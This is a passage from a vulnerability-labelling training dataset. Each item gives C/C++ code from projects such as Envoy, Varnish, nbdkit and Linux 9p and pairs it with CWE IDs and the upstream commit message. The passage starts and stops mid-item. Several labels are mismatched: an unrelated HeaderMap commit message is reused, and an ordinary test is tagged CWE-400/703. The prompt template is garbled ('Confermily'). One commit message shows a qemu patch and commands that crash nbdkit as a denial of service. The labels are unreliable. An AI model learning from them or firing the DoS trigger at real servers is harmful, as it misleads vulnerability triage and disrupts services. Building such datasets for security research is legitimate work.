ASSERT_EQ(request_headers.byteSize() + head_room, codec_limit_kb * 1024);\n\n EXPECT_CALL(request_decoder_, decodeHeaders_(_, _));\n request_encoder_->encodeHeaders(request_headers, true);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST(HeaderMapImplTest, DoubleCookieAdd) {\n HeaderMapImpl headers;\n const std::string foo(\"foo\");\n const std::string bar(\"bar\");\n const LowerCaseString& set_cookie = Http::Headers::get().SetCookie;\n headers.addReference(set_cookie, foo);\n headers.addReference(set_cookie, bar);\n EXPECT_EQ(2UL, headers.size());\n\n std::vector out;\n Http::HeaderUtility::getAllOfHeader(headers, \"set-cookie\", out);\n ASSERT_EQ(out.size(), 2);\n ASSERT_EQ(out[0], \"foo\");\n ASSERT_EQ(out[1], \"bar\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: http1_dissect_hdrs(struct http *hp, char *p, struct http_conn *htc,\n unsigned maxhdr)\n{\n\tchar *q, *r, *s;\n\tint i;\n\n\tassert(p > htc->rxbuf_b);\n\tassert(p <= htc->rxbuf_e);\n\thp->nhd = HTTP_HDR_FIRST;\n\tr = NULL;\t\t/* For FlexeLint */\n\tfor (; p < htc->rxbuf_e; p = r) {\n\n\t\t/* Find end of next header */\n\t\tq = r = p;\n\t\tif (vct_iscrlf(p, htc->rxbuf_e))\n\t\t\tbreak;\n\t\twhile (r < htc->rxbuf_e) {\n\t\t\tif (!vct_isctl(*r) || vct_issp(*r)) {\n\t\t\t\tr++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (!vct_iscrlf(r, htc->rxbuf_e)) {\n\t\t\t\tVSLb(hp->vsl, SLT_BogoHeader,\n\t\t\t\t \"Header has ctrl char 0x%02x\", *r);\n\t\t\t\treturn (400);\n\t\t\t}\n\t\t\tq = r;\n\t\t\tassert(r < htc->rxbuf_e);\n\t\t\tr = vct_skipcrlf(r, htc->rxbuf_e);\n\t\t\tif (r >= htc->rxbuf_e)\n\t\t\t\tbreak;\n\t\t\tif (vct_iscrlf(r, htc->rxbuf_e))\n\t\t\t\tbreak;\n\t\t\t/* If line does not continue: got it. */\n\t\t\tif (!vct_issp(*r))\n\t\t\t\tbreak;\n\n\t\t\t/* Clear line continuation LWS to spaces */\n\t\t\twhile (q < r)\n\t\t\t\t*q++ = ' ';\n\t\t\twhile (q < htc->rxbuf_e && vct_issp(*q))\n\t\t\t\t*q++ = ' ';\n\t\t}\n\n\t\t/* Empty header = end of headers */\n\t\tif (p == q)\n\t\t\tbreak;\n\n\t\tif (q - p > maxhdr) {\n\t\t\tVSLb(hp->vsl, SLT_BogoHeader, \"Header too long: %.*s\",\n\t\t\t (int)(q - p > 20 ? 20 : q - p), p);\n\t\t\treturn (400);\n\t\t}\n\n\t\tif (vct_islws(*p)) {\n\t\t\tVSLb(hp->vsl, SLT_BogoHeader,\n\t\t\t \"1st header has white space: %.*s\",\n\t\t\t (int)(q - p > 20 ? 20 : q - p), p);\n\t\t\treturn (400);\n\t\t}\n\n\t\tif (*p == ':') {\n\t\t\tVSLb(hp->vsl, SLT_BogoHeader,\n\t\t\t \"Missing header name: %.*s\",\n\t\t\t (int)(q - p > 20 ? 20 : q - p), p);\n\t\t\treturn (400);\n\t\t}\n\n\t\twhile (q > p && vct_issp(q[-1]))\n\t\t\tq--;\n\t\t*q = '\\0';\n\n\t\tfor (s = p; *s != ':' && s < q; s++) {\n\t\t\tif (!vct_istchar(*s)) {\n\t\t\t\tVSLb(hp->vsl, SLT_BogoHeader,\n\t\t\t\t \"Illegal char 0x%02x in header name\", *s);\n\t\t\t\treturn (400);\n\t\t\t}\n\t\t}\n\t\tif (*s != ':') {\n\t\t\tVSLb(hp->vsl, SLT_BogoHeader, \"Header without ':' %.*s\",\n\t\t\t (int)(q - p > 20 ? 20 : q - p), p);\n\t\t\treturn (400);\n\t\t}\n\n\t\tif (hp->nhd < hp->shd) {\n\t\t\thp->hdf[hp->nhd] = 0;\n\t\t\thp->hd[hp->nhd].b = p;\n\t\t\thp->hd[hp->nhd].e = q;\n\t\t\thp->nhd++;\n\t\t} else {\n\t\t\tVSLb(hp->vsl, SLT_BogoHeader, \"Too many headers: %.*s\",\n\t\t\t (int)(q - p > 20 ? 20 : q - p), p);\n\t\t\treturn (400);\n\t\t}\n\t}\n\ti = vct_iscrlf(p, htc->rxbuf_e);\n\tassert(i > 0);\t\t/* HTTP1_Complete guarantees this */\n\tp += i;\n\tHTC_RxPipeline(htc, p);\n\thtc->rxbuf_e = p;\n\treturn (0);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'Avoid some code duplication\n\nApply some adjustments to recent patches based off of review by Nils\nGoroll at UPLEX (@nigoroll)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: plugin_close (struct backend *b, struct connection *conn)\n{\n struct backend_plugin *p = container_of (b, struct backend_plugin, backend);\n\n assert (connection_get_handle (conn, 0));\n\n debug (\"close\");\n\n if (p->plugin.close)\n p->plugin.close (connection_get_handle (conn, 0));\n\n backend_set_handle (b, conn, NULL);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-406'], 'message': 'server: Fix regression for NBD_OPT_INFO before NBD_OPT_GO\n\nMost known NBD clients do not bother with NBD_OPT_INFO (except for\nclients like 'qemu-nbd --list' that don't ever intend to connect), but\ngo straight to NBD_OPT_GO. However, it's not too hard to hack up qemu\nto add in an extra client step (whether info on the same name, or more\ninterestingly, info on a different name), as a patch against qemu\ncommit 6f214b30445:\n\n| diff --git i/nbd/client.c w/nbd/client.c\n| index f6733962b49b..425292ac5ea9 100644\n| --- i/nbd/client.c\n| +++ w/nbd/client.c\n| @@ -1038,6 +1038,14 @@ int nbd_receive_negotiate(AioContext *aio_context, QIOChannel *ioc,\n| * TLS). If it is not available, fall back to\n| * NBD_OPT_LIST for nicer error messages about a missing\n| * export, then use NBD_OPT_EXPORT_NAME. */\n| + if (getenv (\"HACK\"))\n| + info->name[0]++;\n| + result = nbd_opt_info_or_go(ioc, NBD_OPT_INFO, info, errp);\n| + if (getenv (\"HACK\"))\n| + info->name[0]--;\n| + if (result < 0) {\n| + return -EINVAL;\n| + }\n| result = nbd_opt_info_or_go(ioc, NBD_OPT_GO, info, errp);\n| if (result < 0) {\n| return -EINVAL;\n\nThis works just fine in 1.14.0, where we call .open only once (so the\nINFO and GO repeat calls into the same plugin handle), but in 1.14.1\nit regressed into causing an assertion failure: we are now calling\n.open a second time on a connection that is already opened:\n\n$ nbdkit -rfv null &\n$ hacked-qemu-io -f raw -r nbd://localhost -c quit\n...\nnbdkit: null[1]: debug: null: open readonly=1\nnbdkit: backend.c:179: backend_open: Assertion `h->handle == NULL' failed.\n\nWorse, on the mainline development, we have recently made it possible\nfor plugins to actively report different information for different\nexport names; for example, a plugin may choose to report different\nanswers for .can_write on export A than for export B; but if we share\ncached handles, then an NBD_OPT_INFO on one export prevents correct\nanswers for NBD_OPT_GO on the second export name. (The HACK envvar in\nmy qemu modifications can be used to demonstrate cross-name requests,\nwhich are even less likely in a real client).\n\nThe solution is to call .close after NBD_OPT_INFO, coupled with enough\nglue logic to reset cached connection handles back to the state\nexpected by .open. This in turn means factoring out another backend_*\nfunction, but also gives us an opportunity to change\nbackend_set_handle to no longer accept NULL.\n\nThe assertion failure is, to some extent, a possible denial of service\nattack (one client can force nbdkit to exit by merely sending OPT_INFO\nbefore OPT_GO, preventing the next client from connecting), although\nthis is mitigated by using TLS to weed out untrusted clients. Still,\nthe fact that we introduced a potential DoS attack while trying to fix\na traffic amplification security bug is not very nice.\n\nSadly, as there are no known clients that easily trigger this mode of\noperation (OPT_INFO before OPT_GO), there is no easy way to cover this\nvia a testsuite addition. I may end up hacking something into libnbd.\n\nFixes: c05686f957\nSigned-off-by: Eric Blake '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: negotiate_handshake_newstyle_options (struct connection *conn)\n{\n struct new_option new_option;\n size_t nr_options;\n uint64_t version;\n uint32_t option;\n uint32_t optlen;\n char data[MAX_OPTION_LENGTH+1];\n struct new_handshake_finish handshake_finish;\n const char *optname;\n\n for (nr_options = 0; nr_options < MAX_NR_OPTIONS; ++nr_options) {\n if (conn_recv_full (conn, &new_option, sizeof new_option,\n \"reading option: conn->recv: %m\") == -1)\n return -1;\n\n version = be64toh (new_option.version);\n if (version != NEW_VERSION) {\n nbdkit_error (\"unknown option version %\" PRIx64\n \", expecting %\" PRIx64,\n version, NEW_VERSION);\n return -1;\n }\n\n /* There is a maximum option length we will accept, regardless\n * of the option type.\n */\n optlen = be32toh (new_option.optlen);\n if (optlen > MAX_OPTION_LENGTH) {\n nbdkit_error (\"client option data too long (%\" PRIu32 \")\", optlen);\n return -1;\n }\n\n option = be32toh (new_option.option);\n optname = name_of_nbd_opt (option);\n\n /* In --tls=require / FORCEDTLS mode the only options allowed\n * before TLS negotiation are NBD_OPT_ABORT and NBD_OPT_STARTTLS.\n */\n if (tls == 2 && !conn->using_tls &&\n !(option == NBD_OPT_ABORT || option == NBD_OPT_STARTTLS)) {\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_TLS_REQD))\n return -1;\n continue;\n }\n\n switch (option) {\n case NBD_OPT_EXPORT_NAME:\n if (conn_recv_full (conn, data, optlen,\n \"read: %s: %m\", name_of_nbd_opt (option)) == -1)\n return -1;\n /* Apart from printing it, ignore the export name. */\n data[optlen] = '\\0';\n debug (\"newstyle negotiation: %s: \"\n \"client requested export '%s' (ignored)\",\n name_of_nbd_opt (option), data);\n\n /* We have to finish the handshake by sending handshake_finish. */\n if (finish_newstyle_options (conn) == -1)\n return -1;\n\n memset (&handshake_finish, 0, sizeof handshake_finish);\n handshake_finish.exportsize = htobe64 (conn->exportsize);\n handshake_finish.eflags = htobe16 (conn->eflags);\n\n if (conn->send (conn,\n &handshake_finish,\n (conn->cflags & NBD_FLAG_NO_ZEROES)\n ? offsetof (struct new_handshake_finish, zeroes)\n : sizeof handshake_finish) == -1) {\n nbdkit_error (\"write: %s: %m\", optname);\n return -1;\n }\n break;\n\n case NBD_OPT_ABORT:\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n debug (\"client sent %s to abort the connection\",\n name_of_nbd_opt (option));\n return -1;\n\n case NBD_OPT_LIST:\n if (optlen != 0) {\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n if (conn_recv_full (conn, data, optlen,\n \"read: %s: %m\", name_of_nbd_opt (option)) == -1)\n return -1;\n continue;\n }\n\n /* Send back the exportname. */\n debug (\"newstyle negotiation: %s: advertising export '%s'\",\n name_of_nbd_opt (option), exportname);\n if (send_newstyle_option_reply_exportname (conn, option, NBD_REP_SERVER,\n exportname) == -1)\n return -1;\n\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n break;\n\n case NBD_OPT_STARTTLS:\n if (optlen != 0) {\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n if (conn_recv_full (conn, data, optlen,\n \"read: %s: %m\", name_of_nbd_opt (option)) == -1)\n return -1;\n continue;\n }\n\n if (tls == 0) { /* --tls=off (NOTLS mode). */\n#ifdef HAVE_GNUTLS\n#define NO_TLS_REPLY NBD_REP_ERR_POLICY\n#else\n#define NO_TLS_REPLY NBD_REP_ERR_UNSUP\n#endif\n if (send_newstyle_option_reply (conn, option, NO_TLS_REPLY) == -1)\n return -1;\n }\n else /* --tls=on or --tls=require */ {\n /* We can't upgrade to TLS twice on the same connection. */\n if (conn->using_tls) {\n if (send_newstyle_option_reply (conn, option,\n NBD_REP_ERR_INVALID) == -1)\n return -1;\n continue;\n }\n\n /* We have to send the (unencrypted) reply before starting\n * the handshake.\n */\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n\n /* Upgrade the connection to TLS. Also performs access control. */\n if (crypto_negotiate_tls (conn, conn->sockin, conn->sockout) == -1)\n return -1;\n conn->using_tls = true;\n debug (\"using TLS on this connection\");\n }\n break;\n\n case NBD_OPT_INFO:\n case NBD_OPT_GO:\n if (conn_recv_full (conn, data, optlen,\n \"read: %s: %m\", optname) == -1)\n return -1;\n\n if (optlen < 6) { /* 32 bit export length + 16 bit nr info */\n debug (\"newstyle negotiation: %s option length < 6\", optname);\n\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n continue;\n }\n\n {\n uint32_t exportnamelen;\n uint16_t nrinfos;\n uint16_t info;\n size_t i;\n CLEANUP_FREE char *requested_exportname = NULL;\n\n /* Validate the name length and number of INFO requests. */\n memcpy (&exportnamelen, &data[0], 4);\n exportnamelen = be32toh (exportnamelen);\n if (exportnamelen > optlen-6 /* NB optlen >= 6, see above */) {\n debug (\"newstyle negotiation: %s: export name too long\", optname);\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n continue;\n }\n memcpy (&nrinfos, &data[exportnamelen+4], 2);\n nrinfos = be16toh (nrinfos);\n if (optlen != 4 + exportnamelen + 2 + 2*nrinfos) {\n debug (\"newstyle negotiation: %s: \"\n \"number of information requests incorrect\", optname);\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n continue;\n }\n\n /* As with NBD_OPT_EXPORT_NAME we print the export name and then\n * ignore it.\n */\n requested_exportname = malloc (exportnamelen+1);\n if (requested_exportname == NULL) {\n nbdkit_error (\"malloc: %m\");\n return -1;\n }\n memcpy (requested_exportname, &data[4], exportnamelen);\n requested_exportname[exportnamelen] = '\\0';\n debug (\"newstyle negotiation: %s: \"\n \"client requested export '%s' (ignored)\",\n optname, requested_exportname);\n\n /* The spec is confusing, but it is required that we send back\n * NBD_INFO_EXPORT, even if the client did not request it!\n * qemu client in particular does not request this, but will\n * fail if we don't send it.\n */\n if (finish_newstyle_options (conn) == -1)\n return -1;\n\n if (send_newstyle_option_reply_info_export (conn, option,\n NBD_REP_INFO,\n NBD_INFO_EXPORT) == -1)\n return -1;\n\n /* For now we ignore all other info requests (but we must\n * ignore NBD_INFO_EXPORT if it was requested, because we\n * replied already above). Therefore this loop doesn't do\n * much at the moment.\n */\n for (i = 0; i < nrinfos; ++i) {\n memcpy (&info, &data[4 + exportnamelen + 2 + i*2], 2);\n info = be16toh (info);\n switch (info) {\n case NBD_INFO_EXPORT: /* ignore - reply sent above */ break;\n default:\n debug (\"newstyle negotiation: %s: \"\n \"ignoring NBD_INFO_* request %u (%s)\",\n optname, (unsigned) info, name_of_nbd_info (info));\n break;\n }\n }\n }\n\n /* Unlike NBD_OPT_EXPORT_NAME, NBD_OPT_GO sends back an ACK\n * or ERROR packet.\n */\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n\n break;\n\n case NBD_OPT_STRUCTURED_REPLY:\n if (optlen != 0) {\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n if (conn_recv_full (conn, data, optlen,\n \"read: %s: %m\", name_of_nbd_opt (option)) == -1)\n return -1;\n continue;\n }\n\n debug (\"newstyle negotiation: %s: client requested structured replies\",\n name_of_nbd_opt (option));\n\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n\n conn->structured_replies = true;\n break;\n\n case NBD_OPT_LIST_META_CONTEXT:\n case NBD_OPT_SET_META_CONTEXT:\n {\n uint32_t opt_index;\n uint32_t exportnamelen;\n uint32_t nr_queries;\n uint32_t querylen;\n const char *what;\n\n if (conn_recv_full (conn, data, optlen, \"read: %s: %m\", optname) == -1)\n return -1;\n\n if (!conn->structured_replies) {\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n continue;\n }\n\n /* Minimum length of the option payload is:\n * 32 bit export name length followed by empty export name\n * + 32 bit number of queries followed by no queries\n * = 8 bytes.\n */\n what = \"optlen < 8\";\n if (optlen < 8) {\n opt_meta_invalid_option_len:\n debug (\"newstyle negotiation: %s: invalid option length: %s\",\n optname, what);\n\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_INVALID)\n == -1)\n return -1;\n continue;\n }\n\n /* Discard the export name. */\n memcpy (&exportnamelen, &data[0], 4);\n exportnamelen = be32toh (exportnamelen);\n opt_index = 4 + exportnamelen;\n\n /* Read the number of queries. */\n what = \"reading number of queries\";\n if (opt_index+4 > optlen)\n goto opt_meta_invalid_option_len;\n memcpy (&nr_queries, &data[opt_index], 4);\n nr_queries = be32toh (nr_queries);\n opt_index += 4;\n\n /* for LIST: nr_queries == 0 means return all meta contexts\n * for SET: nr_queries == 0 means reset all contexts\n */\n debug (\"newstyle negotiation: %s: %s count: %d\", optname,\n option == NBD_OPT_LIST_META_CONTEXT ? \"query\" : \"set\",\n nr_queries);\n if (nr_queries == 0) {\n if (option == NBD_OPT_SET_META_CONTEXT)\n conn->meta_context_base_allocation = false;\n else /* LIST */ {\n if (send_newstyle_option_reply_meta_context\n (conn, option, NBD_REP_META_CONTEXT,\n 0, \"base:allocation\") == -1)\n return -1;\n }\n\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n }\n else {\n /* Read and answer each query. */\n while (nr_queries > 0) {\n what = \"reading query string length\";\n if (opt_index+4 > optlen)\n goto opt_meta_invalid_option_len;\n memcpy (&querylen, &data[opt_index], 4);\n querylen = be32toh (querylen);\n opt_index += 4;\n what = \"reading query string\";\n if (opt_index + querylen > optlen)\n goto opt_meta_invalid_option_len;\n\n debug (\"newstyle negotiation: %s: %s %.*s\",\n optname,\n option == NBD_OPT_LIST_META_CONTEXT ? \"query\" : \"set\",\n (int) querylen, &data[opt_index]);\n\n /* For LIST, \"base:\" returns all supported contexts in the\n * base namespace. We only support \"base:allocation\".\n */\n if (option == NBD_OPT_LIST_META_CONTEXT &&\n querylen == 5 &&\n strncmp (&data[opt_index], \"base:\", 5) == 0) {\n if (send_newstyle_option_reply_meta_context\n (conn, option, NBD_REP_META_CONTEXT,\n 0, \"base:allocation\") == -1)\n return -1;\n }\n /* \"base:allocation\" requested by name. */\n else if (querylen == 15 &&\n strncmp (&data[opt_index], \"base:allocation\", 15) == 0) {\n if (send_newstyle_option_reply_meta_context\n (conn, option, NBD_REP_META_CONTEXT,\n option == NBD_OPT_SET_META_CONTEXT\n ? base_allocation_id : 0,\n \"base:allocation\") == -1)\n return -1;\n if (option == NBD_OPT_SET_META_CONTEXT)\n conn->meta_context_base_allocation = true;\n }\n /* Every other query must be ignored. */\n\n opt_index += querylen;\n nr_queries--;\n }\n if (send_newstyle_option_reply (conn, option, NBD_REP_ACK) == -1)\n return -1;\n }\n debug (\"newstyle negotiation: %s: reply complete\", optname);\n }\n break;\n\n default:\n /* Unknown option. */\n if (send_newstyle_option_reply (conn, option, NBD_REP_ERR_UNSUP) == -1)\n return -1;\n if (conn_recv_full (conn, data, optlen,\n \"reading unknown option data: conn->recv: %m\") == -1)\n return -1;\n }\n\n /* Note, since it's not very clear from the protocol doc, that the\n * client must send NBD_OPT_EXPORT_NAME or NBD_OPT_GO last, and\n * that ends option negotiation.\n */\n if (option == NBD_OPT_EXPORT_NAME || option == NBD_OPT_GO)\n break;\n }\n\n if (nr_options >= MAX_NR_OPTIONS) {\n nbdkit_error (\"client exceeded maximum number of options (%d)\",\n MAX_NR_OPTIONS);\n return -1;\n }\n\n /* In --tls=require / FORCEDTLS mode, we must have upgraded to TLS\n * by the time we finish option negotiation. If not, give up.\n */\n if (tls == 2 && !conn->using_tls) {\n nbdkit_error (\"non-TLS client tried to connect in --tls=require mode\");\n return -1;\n }\n\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-406'], 'message': 'server: Fix regression for NBD_OPT_INFO before NBD_OPT_GO\n\nMost known NBD clients do not bother with NBD_OPT_INFO (except for\nclients like 'qemu-nbd --list' that don't ever intend to connect), but\ngo straight to NBD_OPT_GO. However, it's not too hard to hack up qemu\nto add in an extra client step (whether info on the same name, or more\ninterestingly, info on a different name), as a patch against qemu\ncommit 6f214b30445:\n\n| diff --git i/nbd/client.c w/nbd/client.c\n| index f6733962b49b..425292ac5ea9 100644\n| --- i/nbd/client.c\n| +++ w/nbd/client.c\n| @@ -1038,6 +1038,14 @@ int nbd_receive_negotiate(AioContext *aio_context, QIOChannel *ioc,\n| * TLS). If it is not available, fall back to\n| * NBD_OPT_LIST for nicer error messages about a missing\n| * export, then use NBD_OPT_EXPORT_NAME. */\n| + if (getenv (\"HACK\"))\n| + info->name[0]++;\n| + result = nbd_opt_info_or_go(ioc, NBD_OPT_INFO, info, errp);\n| + if (getenv (\"HACK\"))\n| + info->name[0]--;\n| + if (result < 0) {\n| + return -EINVAL;\n| + }\n| result = nbd_opt_info_or_go(ioc, NBD_OPT_GO, info, errp);\n| if (result < 0) {\n| return -EINVAL;\n\nThis works just fine in 1.14.0, where we call .open only once (so the\nINFO and GO repeat calls into the same plugin handle), but in 1.14.1\nit regressed into causing an assertion failure: we are now calling\n.open a second time on a connection that is already opened:\n\n$ nbdkit -rfv null &\n$ hacked-qemu-io -f raw -r nbd://localhost -c quit\n...\nnbdkit: null[1]: debug: null: open readonly=1\nnbdkit: backend.c:179: backend_open: Assertion `h->handle == NULL' failed.\n\nWorse, on the mainline development, we have recently made it possible\nfor plugins to actively report different information for different\nexport names; for example, a plugin may choose to report different\nanswers for .can_write on export A than for export B; but if we share\ncached handles, then an NBD_OPT_INFO on one export prevents correct\nanswers for NBD_OPT_GO on the second export name. (The HACK envvar in\nmy qemu modifications can be used to demonstrate cross-name requests,\nwhich are even less likely in a real client).\n\nThe solution is to call .close after NBD_OPT_INFO, coupled with enough\nglue logic to reset cached connection handles back to the state\nexpected by .open. This in turn means factoring out another backend_*\nfunction, but also gives us an opportunity to change\nbackend_set_handle to no longer accept NULL.\n\nThe assertion failure is, to some extent, a possible denial of service\nattack (one client can force nbdkit to exit by merely sending OPT_INFO\nbefore OPT_GO, preventing the next client from connecting), although\nthis is mitigated by using TLS to weed out untrusted clients. Still,\nthe fact that we introduced a potential DoS attack while trying to fix\na traffic amplification security bug is not very nice.\n\nSadly, as there are no known clients that easily trigger this mode of\noperation (OPT_INFO before OPT_GO), there is no easy way to cover this\nvia a testsuite addition. I may end up hacking something into libnbd.\n\nFixes: c05686f957\nSigned-off-by: Eric Blake \n(cherry picked from commit a6b88b195a959b17524d1c8353fd425d4891dc5f)\n\nConflicts:\n\tserver/backend.c\n\tserver/connections.c\n\tserver/filters.c\n\tserver/internal.h\n\tserver/plugins.c\n\nNo backend.c in the stable branch, and less things to reset, so instead\node that logic into filter_close.\nSigned-off-by: Eric Blake '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: v9fs_vfs_getattr(const struct path *path, struct kstat *stat,\n\t\t u32 request_mask, unsigned int flags)\n{\n\tstruct dentry *dentry = path->dentry;\n\tstruct v9fs_session_info *v9ses;\n\tstruct p9_fid *fid;\n\tstruct p9_wstat *st;\n\n\tp9_debug(P9_DEBUG_VFS, \"dentry: %p\\n\", dentry);\n\tv9ses = v9fs_dentry2v9ses(dentry);\n\tif (v9ses->cache == CACHE_LOOSE || v9ses->cache == CACHE_FSCACHE) {\n\t\tgeneric_fillattr(d_inode(dentry), stat);\n\t\treturn 0;\n\t}\n\tfid = v9fs_fid_lookup(dentry);\n\tif (IS_ERR(fid))\n\t\treturn PTR_ERR(fid);\n\n\tst = p9_client_stat(fid);\n\tif (IS_ERR(st))\n\t\treturn PTR_ERR(st);\n\n\tv9fs_stat2inode(st, d_inode(dentry), dentry->d_sb);\n\tgeneric_fillattr(d_inode(dentry), stat);\n\n\tp9stat_free(st);\n\tkfree(st);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': '9p: use inode->i_lock to protect i_size_write() under 32-bit\n\nUse inode->i_lock to protect i_size_write(), else i_size_read() in\ngeneric_fillattr() may loop infinitely in read_seqcount_begin() when\nmultiple processes invoke v9fs_vfs_getattr() or v9fs_vfs_getattr_dotl()\nsimultaneously under 32-bit SMP environment, and a soft lockup will be\ntriggered as show below:\n\n watchdog: BUG: soft lockup - CPU#5 stuck for 22s! [stat:2217]\n Modules linked in:\n CPU: 5 PID: 2217 Comm: stat Not tainted 5.0.0-rc1-00005-g7f702faf5a9e #4\n Hardware name: Generic DT based system\n PC is at generic_fillattr+0x104/0x108\n LR is at 0xec497f00\n pc : [<802b8898>] lr : [] psr: 200c0013\n sp : ec497e20 ip : ed608030 fp : ec497e3c\n r10: 00000000 r9 : ec497f00 r8 : ed608030\n r7 : ec497ebc r6 : ec497f00 r5 : ee5c1550 r4 : ee005780\n r3 : 0000052d r2 : 00000000 r1 : ec497f00 r0 : ed608030\n Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none\n Control: 10c5387d Table: ac48006a DAC: 00000051\n CPU: 5 PID: 2217 Comm: stat Not tainted 5.0.0-rc1-00005-g7f702faf5a9e #4\n Hardware name: Generic DT based system\n Backtrace:\n [<8010d974>] (dump_backtrace) from [<8010dc88>] (show_stack+0x20/0x24)\n [<8010dc68>] (show_stack) from [<80a1d194>] (dump_stack+0xb0/0xdc)\n [<80a1d0e4>] (dump_stack) from [<80109f34>] (show_regs+0x1c/0x20)\n [<80109f18>] (show_regs) from [<801d0a80>] (watchdog_timer_fn+0x280/0x2f8)\n [<801d0800>] (watchdog_timer_fn) from [<80198658>] (__hrtimer_run_queues+0x18c/0x380)\n [<801984cc>] (__hrtimer_run_queues) from [<80198e60>] (hrtimer_run_queues+0xb8/0xf0)\n [<80198da8>] (hrtimer_run_queues) from [<801973e8>] (run_local_timers+0x28/0x64)\n [<801973c0>] (run_local_timers) from [<80197460>] (update_process_times+0x3c/0x6c)\n [<80197424>] (update_process_times) from [<801ab2b8>] (tick_nohz_handler+0xe0/0x1bc)\n [<801ab1d8>] (tick_nohz_handler) from [<80843050>] (arch_timer_handler_virt+0x38/0x48)\n [<80843018>] (arch_timer_handler_virt) from [<80180a64>] (handle_percpu_devid_irq+0x8c/0x240)\n [<801809d8>] (handle_percpu_devid_irq) from [<8017ac20>] (generic_handle_irq+0x34/0x44)\n [<8017abec>] (generic_handle_irq) from [<8017b344>] (__handle_domain_irq+0x6c/0xc4)\n [<8017b2d8>] (__handle_domain_irq) from [<801022e0>] (gic_handle_irq+0x4c/0x88)\n [<80102294>] (gic_handle_irq) from [<80101a30>] (__irq_svc+0x70/0x98)\n [<802b8794>] (generic_fillattr) from [<8056b284>] (v9fs_vfs_getattr_dotl+0x74/0xa4)\n [<8056b210>] (v9fs_vfs_getattr_dotl) from [<802b8904>] (vfs_getattr_nosec+0x68/0x7c)\n [<802b889c>] (vfs_getattr_nosec) from [<802b895c>] (vfs_getattr+0x44/0x48)\n [<802b8918>] (vfs_getattr) from [<802b8a74>] (vfs_statx+0x9c/0xec)\n [<802b89d8>] (vfs_statx) from [<802b9428>] (sys_lstat64+0x48/0x78)\n [<802b93e0>] (sys_lstat64) from [<80101000>] (ret_fast_syscall+0x0/0x28)\n\n[dominique.martinet@cea.fr: updated comment to not refer to a function\nin another subsystem]\nLink: http://lkml.kernel.org/r/20190124063514.8571-2-houtao1@huawei.com\nCc: stable@vger.kernel.org\nFixes: 7549ae3e81cc (\"9p: Use the i_size_[read, write]() macros instead of using inode->i_size directly.\")\nReported-by: Xing Gaopeng \nSigned-off-by: Hou Tao \nSigned-off-by: Dominique Martinet '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int arc_emac_tx(struct sk_buff *skb, struct net_device *ndev)\n{\n\tstruct arc_emac_priv *priv = netdev_priv(ndev);\n\tunsigned int len, *txbd_curr = 